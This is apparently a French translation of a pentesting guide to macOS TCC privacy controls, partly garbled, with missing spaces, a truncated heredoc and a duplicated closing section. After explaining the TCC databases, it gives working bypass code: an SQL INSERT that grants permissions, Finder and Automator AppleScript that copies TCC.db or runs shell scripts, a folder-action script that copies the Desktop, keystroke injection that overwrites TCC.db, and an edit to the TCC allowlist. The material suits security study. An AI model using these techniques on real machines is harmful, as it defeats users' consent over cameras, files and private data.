TCC (Transparency, Consent, and Control) est un protocole de sécurité axé sur la régulation des autorisations d'application. Son rôle principal est de protéger des fonctionnalités sensibles telles que les services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité et l'accès complet au disque. En exigeant le consentement explicite de l'utilisateur avant d'accorder à une application l'accès à ces éléments, le TCC renforce la confidentialité et le contrôle de l'utilisateur sur leurs données.
Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès à des fonctionnalités protégées. Cela se manifeste par une invite permettant aux utilisateurs d'approuver ou de refuser l'accès. De plus, le TCC prend en charge les actions directes des utilisateurs, telles que glisser-déposer des fichiers dans une application, pour accorder l'accès à des fichiers spécifiques, garantissant que les applications n'ont accès qu'à ce qui est explicitement autorisé.
TCC est géré par le démon situé dans /System/Library/PrivateFrameworks/TCC.framework/Support/tccd et configuré dans /System/Library/LaunchDaemons/com.apple.tccd.system.plist (enregistrant le service mach com.apple.tccd.system).
Il y a un tccd en mode utilisateur s'exécutant par utilisateur connecté défini dans /System/Library/LaunchAgents/com.apple.tccd.plist enregistrant les services mach com.apple.tccd et com.apple.usernotifications.delegate.com.apple.tccd.
Ici, vous pouvez voir le tccd s'exécutant en tant que système et en tant qu'utilisateur:
Les autorisations sont héritées de l'application parente et les autorisations sont suivies en fonction de l'ID de Bundle et de l'ID du développeur.
Bases de données TCC
Les autorisations/refus sont ensuite stockés dans certaines bases de données TCC :
La base de données système dans /Library/Application Support/com.apple.TCC/TCC.db.
Cette base de données est protégée par SIP, donc seul un contournement de SIP peut écrire dedans.
La base de données utilisateur TCC $HOME/Library/Application Support/com.apple.TCC/TCC.db pour les préférences par utilisateur.
Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'Accès complet au disque peuvent écrire dedans (mais elle n'est pas protégée par SIP).
Les bases de données précédentes sont également protégées par TCC pour l'accès en lecture. Vous ne pourrez pas lire votre base de données TCC utilisateur régulière à moins que ce ne soit à partir d'un processus TCC privilégié.
Cependant, rappelez-vous qu'un processus avec ces privilèges élevés (comme FDA ou kTCCServiceEndpointSecurityClient) pourra écrire dans la base de données TCC utilisateur.
Il existe une troisième base de données TCC dans /var/db/locationd/clients.plist pour indiquer les clients autorisés à accéder aux services de localisation.
Le fichier protégé par SIP /Users/carlospolop/Downloads/REG.db (également protégé contre l'accès en lecture avec TCC), contient l'emplacement de toutes les bases de données TCC valides.
Le fichier protégé par SIP /Users/carlospolop/Downloads/MDMOverrides.plist (également protégé contre l'accès en lecture avec TCC), contient plus d'autorisations accordées par TCC.
Le fichier protégé par SIP /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (mais lisible par n'importe qui) est une liste d'applications autorisées nécessitant une exception TCC.
La base de données TCC dans iOS se trouve dans /private/var/mobile/Library/TCC/TCC.db
L'interface utilisateur du centre de notifications peut apporter des changements dans la base de données TCC système :
Cependant, les utilisateurs peuvent supprimer ou interroger des règles avec l'utilitaire en ligne de commande tccutil.
Interroger les bases de données
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> selectservice,client,auth_value,auth_reasonfromaccesswhereservice="kTCCServiceSystemPolicyAllFiles"andauth_value=2;# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
En vérifiant les deux bases de données, vous pouvez vérifier les autorisations qu'une application a autorisées, interdites ou n'a pas (elle les demandera).
Le service est la représentation en chaîne de permission TCC
Le client est l'ID de bundle ou le chemin binaire avec les autorisations
Le client_type indique s'il s'agit d'un identifiant de bundle(0) ou d'un chemin absolu(1)
Comment exécuter s'il s'agit d'un chemin absolu
Il suffit de faire launctl load you_bin.plist, avec un plist comme suit:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
La valeur auth_value peut avoir différentes valeurs : denied(0), unknown(1), allowed(2), ou limited(3).
La raison auth_reason peut prendre les valeurs suivantes : Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
Le champ csreq est là pour indiquer comment vérifier le binaire à exécuter et accorder les permissions TCC :
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
Vous pouvez également vérifier les autorisations déjà accordées aux applications dans Préférences Système --> Sécurité et confidentialité --> Confidentialité --> Fichiers et Dossiers.
Les utilisateurs peuventsupprimer ou interroger des règles en utilisant tccutil.
Réinitialiser les autorisations TCC
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
Vérifications de signature TCC
La base de données TCC stocke l'ID de Bundle de l'application, mais elle stocke également des informations sur la signature pour s'assurer que l'application demandant à utiliser une permission est la bonne.
# From sqlitesqlite> selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchorapplegenericandcertificateleaf[field.1.2.840.113635.100.6.1.9]/*exists*/oranchorapplegenericandcertificate1[field.1.2.840.113635.100.6.2.6]/*exists*/andcertificateleaf[field.1.2.840.113635.100.6.1.13]/*exists*/andcertificateleaf[subject.OU]="6N38VWS5BX") andidentifier"ru.keepcoder.Telegram"
Par conséquent, d'autres applications utilisant le même nom et l'ID de bundle ne pourront pas accéder aux autorisations accordées à d'autres applications.
Autorisations et permissions TCC
Les applications n'ont pas seulement besoin de demander et d'avoir accès accordé à certaines ressources, elles ont également besoin de posséder les autorisations pertinentes.
Par exemple, Telegram a l'autorisation com.apple.security.device.camera pour demander l'accès à la caméra. Une application qui n'a pas cette autorisation ne pourra pas accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les autorisations).
Cependant, pour que les applications aient accès à certains dossiers d'utilisateurs, tels que ~/Desktop, ~/Downloads et ~/Documents, elles n'ont pas besoin d'avoir des autorisations spécifiques. Le système gérera l'accès de manière transparente et invitera l'utilisateur au besoin.
Les applications d'Apple ne généreront pas de fenêtres contextuelles. Elles contiennent des droits préalablement accordés dans leur liste d'autorisations, ce qui signifie qu'elles ne généreront jamais de fenêtre contextuelle, ni n'apparaîtront dans l'un des bases de données TCC. Par exemple:
Cela évitera à Calendar de demander à l'utilisateur d'accéder aux rappels, au calendrier et au carnet d'adresses.
Outre quelques documentations officielles sur les autorisations, il est également possible de trouver des informations intéressantes non officielles sur les autorisations dans https://newosxbook.com/ent.jl
Certaines autorisations TCC sont : kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Il n'existe pas de liste publique définissant toutes ces autorisations, mais vous pouvez consulter cette liste de celles connues.
Endroits sensibles non protégés
$HOME (lui-même)
$HOME/.ssh, $HOME/.aws, etc
/tmp
Intention de l'utilisateur / com.apple.macl
Comme mentionné précédemment, il est possible d'accorder l'accès à une application à un fichier en le faisant glisser-déposer dessus. Cet accès ne sera pas spécifié dans une base de données TCC, mais en tant qu'attribut étendu du fichier. Cet attribut stockera l'UUID de l'application autorisée :
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.commandmacl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
Il est curieux que l'attribut com.apple.macl soit géré par le Sandbox, et non par tccd.
Notez également que si vous déplacez un fichier qui autorise l'UUID d'une application sur votre ordinateur vers un autre ordinateur, car la même application aura des UID différents, cela ne donnera pas accès à cette application.
L'attribut étendu com.apple.maclne peut pas être effacé comme les autres attributs étendus car il est protégé par SIP. Cependant, comme expliqué dans ce post, il est possible de le désactiver en compressant le fichier, en le supprimant et en le décompressant.
Privilèges et contournements de TCC
Insérer dans TCC
Si à un moment donné vous parvenez à obtenir un accès en écriture sur une base de données TCC, vous pouvez utiliser quelque chose comme ce qui suit pour ajouter une entrée (supprimez les commentaires):
Exemple d'insertion dans TCC
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
Charges TCC
Si vous avez réussi à pénétrer dans une application avec certaines autorisations TCC, consultez la page suivante avec des charges TCC pour les abuser :
Le nom TCC de l'autorisation d'automatisation est : kTCCServiceAppleEvents
Cette autorisation TCC spécifique indique également l'application qui peut être gérée dans la base de données TCC (donc les autorisations ne permettent pas de tout gérer).
Finder est une application qui a toujours FDA (même si elle n'apparaît pas dans l'interface utilisateur), donc si vous avez des privilèges d'automatisation dessus, vous pouvez abuser de ses privilèges pour lui faire effectuer certaines actions.
Dans ce cas, votre application aurait besoin de l'autorisation kTCCServiceAppleEvents sur com.apple.Finder.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Vous pourriez abuser de cela pour écrire votre propre base de données utilisateur TCC.
Avec cette autorisation, vous pourrez demander au Finder d'accéder aux dossiers restreints par TCC et vous donner les fichiers, mais à ma connaissance, vous ne pourrez pas faire exécuter un code arbitraire par le Finder pour abuser pleinement de son accès FDA.
Par conséquent, vous ne pourrez pas abuser des capacités complètes de la FDA.
Voici la demande TCC pour obtenir des privilèges d'automatisation sur le Finder :
Notez que parce que l'application Automator a l'autorisation TCC kTCCServiceAppleEvents, elle peut contrôler n'importe quelle application, comme le Finder. Ainsi, en ayant l'autorisation de contrôler Automator, vous pourriez également contrôler le Finder avec un code comme celui ci-dessous :
Obtenir un shell à l'intérieur d'Automator
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
De même avec l'application **Script Editor,** elle peut contrôler Finder, mais en utilisant un AppleScript, vous ne pouvez pas le forcer à exécuter un script.
### Automatisation (SE) vers certains TCC
**System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC** (Bureau, Documents et Téléchargements), donc un script comme celui-ci peut être utilisé pour abuser de ce comportement:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Automatisation (SE) + Accessibilité (kTCCServicePostEvent|kTCCServiceAccessibility) vers FDA*
L'automatisation sur System Events + l'accessibilité (kTCCServicePostEvent) permet d'envoyer des frappes de clavier aux processus. De cette manière, vous pourriez abuser de Finder pour modifier la base de données TCC de l'utilisateur ou accorder l'accès FDA à une application arbitraire (bien qu'un mot de passe puisse être demandé pour cela).
Exemple de modification de la base de données TCC de l'utilisateur par Finder :
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
Client de sécurité de point de terminaison vers FDA
Si vous avez kTCCServiceEndpointSecurityClient, vous avez FDA. Fin.
Politique système SysAdmin de fichiers vers FDA
kTCCServiceSystemPolicySysAdminFiles permet de modifier l'attribut NFSHomeDirectory d'un utilisateur qui modifie son dossier personnel et permet donc de contourner TCC.
Base de données TCC utilisateur vers FDA
En obtenant des permissions d'écriture sur la base de données TCC utilisateur, vous ne pouvez pas vous accorder vous-même les permissions FDA, seules celles qui se trouvent dans la base de données système peuvent le faire.
Mais vous pouvez vous accorder les Droits d'automatisation pour Finder, et abuser de la technique précédente pour une élévation de privilèges vers FDA*.
FDA vers permissions TCC
L'accès complet au disque est nommé TCC kTCCServiceSystemPolicyAllFiles
Je ne pense pas que ce soit une véritable élévation de privilèges, mais au cas où vous le trouveriez utile : Si vous contrôlez un programme avec FDA, vous pouvez modifier la base de données TCC des utilisateurs et vous accorder n'importe quel accès. Cela peut être utile en tant que technique de persistance au cas où vous pourriez perdre vos permissions FDA.
Contournement de SIP pour contourner TCC
La base de données système TCC est protégée par SIP, c'est pourquoi seuls les processus avec les autorisations indiquées pourront la modifier. Par conséquent, si un attaquant trouve un contournement de SIP sur un fichier (pouvoir modifier un fichier restreint par SIP), il pourra :
Supprimer la protection d'une base de données TCC et s'accorder toutes les permissions TCC. Il pourrait abuser de l'un de ces fichiers par exemple :
La base de données système TCC
REG.db
MDMOverrides.plist
Cependant, il existe une autre option pour abuser de ce contournement de SIP pour contourner TCC, le fichier /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist est une liste blanche d'applications nécessitant une exception TCC. Par conséquent, si un attaquant peut supprimer la protection SIP de ce fichier et ajouter sa propre application, l'application pourra contourner TCC.
Par exemple pour ajouter Terminal :
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict><key>SystemPolicyAllFiles</key><array><dict><key>CodeRequirement</key><string>identifier "com.apple.Terminal" and anchor apple</string><key>IdentifierType</key><string>bundleID</string><key>Identifier</key><string>com.apple.Terminal</string></dict></array></dict></dict></plist>
Comment exécuter s'il s'agit d'un chemin absolu
Il suffit de faire
launctl load you_bin.plist
, avec un plist comme suit: